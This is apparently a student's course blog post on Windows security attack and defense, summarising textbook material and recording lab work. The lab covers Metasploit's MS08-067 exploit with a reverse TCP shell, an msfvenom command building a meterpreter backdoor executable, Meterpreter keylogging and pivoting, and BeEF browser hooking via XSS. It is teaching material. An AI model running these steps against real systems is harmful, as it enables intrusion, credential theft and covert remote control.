2018-2019-2 20189206 《网络攻防实践》 第七周作业
课本学习
Windows操作系统安全攻防
Windows操作系统的基本结构 |
Windows采用宏内核模式来进行架构,大量的内核模块与设备驱动程序共享内核态内存空间,为了避免内核模块遭受攻击,要求所有请求安装进入内核执行的设备驱动程序都需要经过数字签名。
Windows操作系统的基本结构如图所示,分为:
- 运行于处理器特权模式的操作系统内核
- 运行在处理器非特权模式的用户空间代码
Windows操作系统内核的基本结构 |
- Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务。
- Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能。
- 设备驱动程序:将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。
- 硬件抽象层:hal.dll文件,用于屏蔽Windows内核与平台硬件差异性的底层代码。
- Windows窗口与图形界面接口内核实现代码:win3
- 2k.sys文件
- 系统支持进程:windows开机自动启动的系统内建服务进程
- 环境子系统服务进程:为操作系统运行环境提供支持的服务进程
- 服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务
- 用户应用软件:在用户态执行的各类用户应用软件
- 核心子系统DLL:kernel32.dll/user32.dll、gdi32.dll/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的服务调用。
Windows进程和线程管理机制 |
线程作为执行指令的具体载体,其线程控制块TCB中包含程序执行的上下文信息,具体包括CPU处理器状态与寄存器内容、保存内核模式和用户模式两个栈、线程局部存储区以及线程ID,同时共享所属进程的虚拟地址空间、资源列表和安全访问令牌
Windows内存管理机制 |
- 系统核心内存区
- 映射内核、HAL、win32k.sys等内核执行模块,存储内核内存对象,用户无法直接访问
- 用户内存区
- 用户程序的代码段、数据段,并对每个线程对饮有一个栈和一个堆
Windows文件管理机制 |
NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性。Windows上可执行文件采用PE格式,结构如下:
Windows注册表管理机制 |
Windows注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色。
操作系统引导启动、服务运行以及各类应用软件启动、应用程序和设备驱动安装等几乎每个Windows操作都伴随着大量从注册表中读取和修改配置信息的动作。
Windows的网络机制 |
- 各种网卡硬件的设备驱动程序
- NDIS库及miniport驱动程序,位于OSI链路层,为不同网卡适配器驱动程序和TDI传输层之间构建一个封装接口
- TDI传输层,网络协议驱动,对应OSI的网络层和传输层
- 网络API DLL及TDI客户端,对应OSI会话层与表示层,为应用程序提供了独立于具体协议的网络交互实现方式
- 网络应用程序与服务进程,对应OSI应用层,使用各类网络API DLL实现网络交互与通信功能
Windows操作系统的安全体系结构与机制
Windows的安全体系结构 |
其中最为核心的是位于内核中的SRM安全引用监控器以及位于用户态的LSASS安全服务,它们与winlogon/netlogon及eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
Windows的身份认证机制 |
-
以安全主体概念来包含所有进行系统资源访问请求的实体对象,分为用户、用户组和计算机三大类,对于每个安全主体用SID进行唯一标识。
-
计算机中的账户是安全主体运行程序代码的执行环境,账户权限就是限制这些账户内运行程序对系统资源对象的访问。
-
用户组是为了简化用户管理而引入的用户账户容器,将用户账户添加进特定的用户组,就可以使得该用户拥有用户组配置的全部权限。
-
Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。
Windows授权与访问控制机制 |
-
Windows授权与访问控制机制基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
-
在用户等安全主体进行认证后,Windows系统会赋予用户一个访问令牌,在Windows服务器操作系统中,用户可以执行内建的whoami命令查看当前用户的访问令牌信息
-
Windows对于系统中所有需保护的资源都抽象成对象,每个对象会关联一个SD安全描述符。
Windows安全审计机制 |
LSASS服务保存审计策略,并在对象启动审计功能后,在对象安全描述符中的SACL列表中进行保存;SACL安全引用监控器在进行对象访问授权时,也将依据对象的SACL配置,对指定的对象访问和操作事件进行审计记录,并发送给LSASS服务;由LSASS服务补充审计记录细节信息后,再将这些审计记录发送给Eventlog事件日志服务;Eventlog服务最后将事件日志写入日志文件中。
除此之外,Windows还有最为关键的三项安全措施——防火墙、补丁自动更新以及病毒防护。
Windows远程安全攻防技术
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
Windows系统安全漏洞的生命周期 |
-
Windows安全漏洞发现、利用与修补过程
- 最具价值的漏洞时
- 远程渗透攻击可利用、后果为远程执行代码的高危性漏洞
- 本地渗透攻击可利用、后果为本地特权提升的高危性漏洞
- 最具价值的漏洞时
-
安全漏洞公开披露信息库
-
针对特定目标的渗透测试攻击过程
- 漏洞扫描测试
- 查找针对发现漏洞渗透代码
- 实施渗透测试
- 使用metasploit软件实施渗透测试
- 使用 show modules 列举软件支持的所有渗透攻击模块,利用use命令选择渗透攻击模块
- 使用set 选择该渗透攻击模块使用的攻击载荷 show payloads可以查看所有适用的攻击载荷
- set命令配置渗透攻击模块和攻击载荷的参数 show options可以查看当前参数列表及默认设置
- exploit实施渗透攻击过程
- 在远程控制绘画中与目标主机进行交互
Windows远程口令猜测与破解攻击 |
- 远程口令字猜测
- SMB服务器消息块协议承载的文件与打印共享服务为网络用户提供远程访问文件系统和打印机的支持
- SMB服务在决定授予网络用户对所请求的共享文件或打印机的访问权之前,它会先对用户身份进行验证,需要用户输入口令,攻击者可以对系统实施远程口令字猜测攻击。
- 远程口令字交互通信窃听与破解
- 窃听网络上的口令交换字通信实施破解。
- 远程口令猜测与破解防范措施
- 尽量关闭不必要开放易受远程口令猜测攻击网络服务
- 配置主机防火墙来限制对上述端口的服务
- 利用网络防火墙来限制到这些服务的访问
- 应对远程口令字交换通信窃听与破解攻击最基本的途径是禁用过时且存在本质安全缺陷的协议,使用安全加固的协议
Windows网络服务远程渗透攻击 |
Windows操作系统默认开放135(TCP)137(UDP)138(UDP)139(TCP)与445(TCP)端口,对应的网络服务为MSRPC远过程调用服务,NETBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。
- 针对NETBIOS网络服务的著名漏洞及攻击
NetBIOS网络基本输入输出系统提供了Windows局域网联网的基本支持。
- NetBIOS名字服务提供了Windows局域网内部共享主机查询的接口,为攻击者进行网络查点提供了遍历,在实现中存在着拒绝服务、信息泄露等安全类型漏洞。
- MS00-047安全漏洞,攻击者可以通过发送一个特意构造的名字冲突数据包,造成NetBIOS服务的崩溃,造成拒绝服务攻击
- MS03-034安全漏洞,攻击者可以构造特定名字服务请求,在相应数据包中可以获取主机内存中的数据
-
针对SMB网络服务的著名漏洞及攻击
- SMB空会话 是影响范围最广和时间最长的安全弱点之一,可以使攻击者进行网络信息查点。
-
针对MSRPC网络服务的著名漏洞及攻击
- 远程过程调用机制是现代操作系统的最基本支撑机制之一,允许一个应用程序能够无缝地通过网络调用远程主机上服务进程中的过程,就想这些服务进程在本地运行一样。
- MSRPC最经典的漏洞时DCOM RPC接口缓冲区溢出漏洞
- 除了自身的漏洞外,MSRPC作为调用大量本地服务进程的网络接口,可被利用触发本地服务中存在的安全漏洞
-
针对Windows操作系统上微软网络服务的远程渗透攻击
- FastCGI请求头缓冲区溢出漏洞
- ADFS远程代码执行漏洞
- FTP服务员称代码执行漏洞
- IPP服务整数溢出漏洞
- ASP页面HTMLEncode漏洞
-
针对Windows系统上第三方网络服务的远程渗透攻击
第三方公司网络服务产品中存在的安全漏洞数目更为庞大,第三方网络服务产品的使用范围也十分庞大 -
网络服务远程渗透攻击防范措施
- 从软件设计开发根源上尽可能减少安全漏洞的出现
- 应尽快地更新与应用软件安全补丁
- 在安全漏洞从被意外公布和利用到补丁发布这段“零日”漏洞时间,管理员对安全敏感的服务器应该测试和实施可用的攻击缓解配置
- 利用软件厂商及社区中提供的安全核对清单来对服务进行安全配置,并利用一些安全插件,来加固所部署的网络服务
- 通过漏洞扫描软件来标识网络中存在的已知安全漏洞并及时修补
Windows本地安全攻防技术
Windows本地特权提升 |
Windows上进行特权提升的攻击途径主要是DLL注入和破解本地程序安全漏洞
Windows敏感信息窃取 |
-
Windows系统口令字密文提取技术
- 从另一操作系统启动后拷贝文件系统中的口令密文文件,需要攻击者对目标系统拥有物理访问权限
- 利用硬盘修复包中的rdisk工具,执行
rdisk /s-
命令创建SAM备份文件副本 - 使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文
-
Windows系统口令字破解技术
- John the ripper 用于破解Unix/Linux系统的口令字
- L0phtCrack
-
用户敏感数据窃取
Windows消踪灭迹 |
- 关闭审计功能
- 清理事件日志
Windows远程控制与后门程序 |
攻击者会在受控系统中植入第三方的远程控制与后门程序,主要分为命令行远程控制工具、图形化远程控制工具
-
命令行远程控制工具
- netcat可以启动后门服务
- metasploit渗透测试软件中的meterpreter攻击负载模块也是一个功能非常强大的命令行远程控制工具。
-
图形化远程控制工具
- VNC软件:在目标受控主机上安装VNC的服务器端并启动后,就可以在控制端使用VNC客户端软件来进行远程控制
- Remote Admin
- PCAnyware
课上活动
使用metasploit进行Windows远程渗透攻击实验
- 首先打开msfconsole,使用search命令查找 ms08_067_netapi渗透攻击模块
- 使用use命令使用该攻击模块
-
show payloads显示可用的攻击载荷,set payloads 设置攻击载荷
-
选择一个远程shell模块
reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。
bind_tcp:攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。
采用reverse的方法一般较为安全,因为是在测试机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被安全软件和防火墙发现。
-
选择reverse_tcp,命令:set payload generic/shell_reverse_tcp
- 设置参数
RHOST 为靶机IP地址
LHOST 为kali机IP地址 图片中靶机的IP地址输错了,后面改正过来了
- 执行exploit开始攻击,成功将会返回一个远程shell,可以执行命令查看Windows机上相关信息
视频学习
kali漏洞利用之检索与利用 |
- searchsploit 检索漏洞的工具 可以检索出漏洞信息以及对应文件地址
找到其目录地址后,可以查看文件内容
- jboss 针对jboss网络漏洞利用工具包,主要是将网络漏洞集成
- ikat
- armtage 结合msf进行利用
- termineter
- 针对智能电表的hack工具,旨在评估智能电表的安全性,基于python开发,支持C12.18和C12.19通信协议,它与智能电表的通信使用ANSI type-2与串口连接。
kali漏洞利用之Metasploit |
了解kali linux下漏洞利用工具集中Metasploit攻击框架的使用,Metasploit包含很多工具,这些工具组成了一个完整的攻击框架。
-
启动服务 PostgreSQL和metasploit服务
- 首先启动PostgreSQL 并查看是否启动,端口号为5432
- 再启动metasploit服务,在这里遇到了错误
Failed to start metasploit.service: Unit metasploit.service not found.
查找原因是在kali 2016.2里需要使用msfconsole
命令
-
路径介绍
- auxiliary 辅助模块
- encoders 供msfencode编码工具使用 使用`mafencode -l`命令
- exploits 攻击模块
- payloads 攻击载荷,即攻击成功后执行的代码
- post 后渗透测试模块的内容
-
基本命令
- msgpayload 用来生成payload或shellcode
- msfencode 是msf中的编码器
- msfconsole 开启msf的命令行界面
-
使用示例
- 发现漏洞
nmap -sV 192.168.199.158
- 利用msf命令行测试服务是否存在漏洞,发现存在匹配项
- 对漏洞进行攻击,选择漏洞模块,查看设置参数
- 设置参数,选择payload
- 对目标进行攻击,成功将会返回一个shell,可以获取目标主机的权限
- 发现漏洞
kali漏洞利用之Meterpreter介绍/td> |
Meterpreter模块是metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功后给我们返回一个控制通道,使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
-
常用命令
- background 将当前会话放置后台
- load/use 加载模块
- interact 切换一个信道
- migrate 迁移进程
- run 执行一个已有的模块
- resource 执行一个已有的rc脚本
- screenshot 抓取屏幕
- keyscan_start 开启键盘记录 keyscan_dump 可以查看键盘输入的内容
-
生成后门
【注】按照视频中msfpayload 会显示未找到命令,后来知道是msfpayload和msfencode合并成了msfvenom命令了,使用https://www.cnblogs.com/backlion/p/6000544.html
- 查看对应攻击模块的参数
![](https://img2018.cnblogs.com/blog/1505758/201904/1505758-20190414113741721-607787753.png)
- 命令格式:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
![](https://img2018.cnblogs.com/blog/1505758/201904/1505758-20190414113746626-1523359434.png)
- 在Windows注入后门后,需要在msf命令行中开启`exploit`等待连接
kali漏洞利用之Metasploit后渗透测试/td> |
在跳板机上获取权限后,需要向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的meterpreter后门,是一系列的操作更加容易
- 添加路由表信息
run autoroute <内网地址>
- 开启sockes代理 use auxiliary/server/socks4a
这样只需要在浏览器中设置代理信息,就可以访问内网地址。
- 利用
session -i
实现会话切换 arp_scanner
可以查看内网信息
kali漏洞利用之BeeF/td> |
对XSS漏洞的利用往往需要一个强大的框架支持,Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具
- 启动beef -xss
- 假设被测试主机由于XSS漏洞请求到页面http://127.0.0.1:3000/demod/basic.html,如果通过XSS把该页面加入页面请求中,也就是说每个访问某个页面的人都会访问该页面,则访问者就会被BeEF hook 到,即加入到 Online Browsers中。
此时就可以看到127.0.0.1出现在了online browsers
中,hock持续的时间一直到关闭该页面为止,在commands
页面可以对该浏览器作出各种指令。
- 使用misc模块中的
raw Javascript
攻击成功将会返回窗口提示
命令也会返回result = it worked!
- proxy代理功能 借助目标浏览器访问目标可以访问的地址,可在
Rider
选项卡中的Forge Request
编辑并发送想要发送的内容。
执行完毕后(Processed显示complete)点击该条目,查看包的细节。
- 要使用Metasploit,需要修改配置,将false改为true
- 保证IP地址修改正确,以及修改路径
- 配置好之后,打开msfconsole,运行命令输入命令
load msgrpc ServerHost=192.168.199.162 Pass=abc123
。
- 执行./beef -x 命令
- 重新启动beef可以看到metasploit中多了很多可选指令
Python黑帽子
第六章
burp模糊测试 |
- 打开burpsuit,然后把java编写的Python解释器选进去就可以了。
- 修改浏览器的代理
- 利用burpsuit发现SQL注入漏洞
在Burp中单击Extender标签,然后单击Add按钮。Extension type 选择Python,把上面写好的代码选择进去。点击Next,如果没有出现错误,就是以下这个界面。
- 将扩展工具bhp_fuzzer.py添加到burp中并查看是否有错误提示
- 此时扩展工具已经加载,burp识别出已经注册了一个intruder载荷生成器。
- 我们访问
http://testphp.vulnweb.com
网站,提交test
请求,我们在burp的proxy标签的HTTP历史标签栏查看该请求.
- 在网页搜索栏提交test字符串,proxy的HTTP History标签将显示这个请求,我们将这个请求发送给intruder
- intruder将高亮显示请求的参数
- 修改payload type 并选择生成器
- 现在我们已经准备好发送请求了,在burp顶部的菜单栏,单击intruder后选择start attack选项,针对每一个请求进行磨合测试,接收到的输出如下图所示
burp bing代理 |
- 在burp使用相同步骤加载bing模块
- 通过网页浏览
http://testphp.vulnweb.com
在截获的GET请求上,将请求发送至bing模块
- 扩展工具通过bing API检索输出的结果
利用网站内容生成密码字典 |
- 在burp中添加wordlist字典提取工具
- 浏览器访问
http://testphp.vulnweb.com
并将页面URL选择spider this host
选项
- 在burp访问了目标网站的每一个连接之后,界面右边选择所有请求,单击鼠标右键选择
create wordlist
选项
- 可以将这个字典发送到brup intruder中进行实际的密码采猜解攻击
代码已经上传到码云,点击这里----> 我的码云:))